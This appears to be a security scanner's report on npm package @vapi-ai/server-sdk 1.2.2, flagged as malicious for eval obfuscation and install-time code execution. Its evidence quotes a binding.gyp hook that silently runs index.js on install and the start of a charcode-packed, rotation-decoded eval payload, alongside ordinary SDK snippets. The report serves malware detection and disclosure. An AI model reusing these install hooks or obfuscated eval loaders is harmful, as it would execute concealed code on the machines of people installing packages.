Suspicious ^85% javascript Download

@vapi-ai/server-sdk 1.2.2

Eval obfuscation and install-time code execution

“[![fern shield](https://img.shields.io/badge/%F0%9F%8C%BF-Built%20with%20Fern-brightgreen)](https://buildwithfern.com?utm_source=github&utm…”

Megabyte charcode-packed payload feeds direct evalMegabyte charcode-packed JavaScript payload

SHA-256127aef493c197efd18be027fe54aa4d9056d2ed8cce600d81bdd04f25a16c4a1

URLhttps://registry.npmjs.org/@vapi-ai/server-sdk/-/server-sdk-1.2.2.tgz

MaleculeK₂(AmTe₂)O₃(S₄AsI)H₄(Cm₇Db₃F₂Po₂)Md(Pa₅)

Also flagged by osv (MAL-2026-5209: Malicious code in @vapi-ai/server-sdk (npm)) +5 more.

Evidence

gyp command expansion redirects or chains shell binding.gyp · lines 1–9

1{
"targets": [
  {
    "target_name": "Setup",
    "type": "none",
    "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
  }
]
9}

Megabyte charcode-packed payload feeds direct eval index.js · line 1

1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,109,101,107,122,111,40,41,61,62,123,102,100,107,123,10,111,97,122,101,102,32,95,111,61,109,105,109,117,102,32,117,121,98,97,100,102,40,34,122,97,112,113,58,111,100,107,98,102,97,34,41,59,10,111,97,122,101,102,32,95,112,61,40,119,44,117,44,109,44,111,41,61,62,123,111,97,122,101,102,32,112,61,95,111,46,111,100,113,109,102,113,80,113,111,117,98,116,113,100,117,104,40,34,109,113,101,45,49,50,56,45,115,111,121,34,44,78,103,114,114,113,100,46,114,100,97,121,40,119,44,34,116,113,106,34,41,44,78,103,114,114,113,100,46,114,100,97,121,40,117,44,34,116,113,106,34,41,44,123,109,103,102,116,70,109,115,88,113,122,115,102,116,58,49,54,125,41,59,112,46,101,113,102,77,103,102,116,70,109,115,40,78,103,114,114,113,100,46,114,100,97,121,40,109,44,34,116,113,106,34,41,41,59,100,113,102,103,100,122,32,78,103,114,114,113,100,46,111,97,122,111,109,102,40,91,112,46,103,98,112,109,102,113,40,78,103,114,114,113,100,46,114,100,97,121,40,111,44,34,116,113,106,34,41,41,44,112,46,114,117,122,109,120,40,41,93,41,125,59,10,10,111,97,122,101,102,32,95,110,61,95,112,40,34,114,55,55,48,52,113,53,56,114,109,111,52,113,57,112,54,56,51,113,51,112,111,52,49,53,113,53,57,50,51,113,111,34,44,34,112,48,54,54,51,110,55,57,57,55,52,56,51,111,48,48,112,114,57,49,50,54,110,49,34,44,34,48,51,110,113,113,113,56,56,52,112,112,109,109,49,54,114,57,111,111,48,110,48,48,49,52,49,55,49,49,53,50,55,34,44,34,113,49,56,54,112,111,51,51,48,54,54,48,55,109,51,54,56,110,55,114,51,55,111,111,52,109,54,52,51,56,50,54,114,54,55,113,51,53,57,109,112,55,51,50,54,50,113,50,56,114,51,54,50,56,112,57,54,55,53,50,55,114,54,53,114,54,54,54,52,109,50,109,113,50,55,51,111,54,114,56,110,110,52,51,112,51,111,113,109,113,55,54,48,56,54,51,53,49,57,112,112,56,53,113,113,52,112,109,49,56,56,54,52,50,57,50,114,57,112,53,57,55,111,111,54,52,55,57,52,51,55,49,49,54,55,54,112,57,49,48,53,55,110,113,54,1 …

POST method field in request config Client.mjs · lines 77–81

   *     await client.tools.create({
   *         type: "apiRequest",
   *         method: "POST",
   *         url: "url"
   *     })

application/json content-type marker Client.mjs · lines 93–97

              method: "POST",
              headers: _headers,
              contentType: "application/json",
              queryParameters: requestOptions === null || requestOptions === void 0 ? void 0 : requestOptions.queryParams,
              requestType: "json",

JavaScript iterates enumerable object keys BearerAuthProvider.js · lines 21–26

37… rtyNames || function (o) {
          var ar = [];
          for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
          return ar;
      };
      return ownKeys(o); …

Showing the top 5 files — 6 more files (35 regions) not shown.

No evidence locations were recorded for this file. Raw result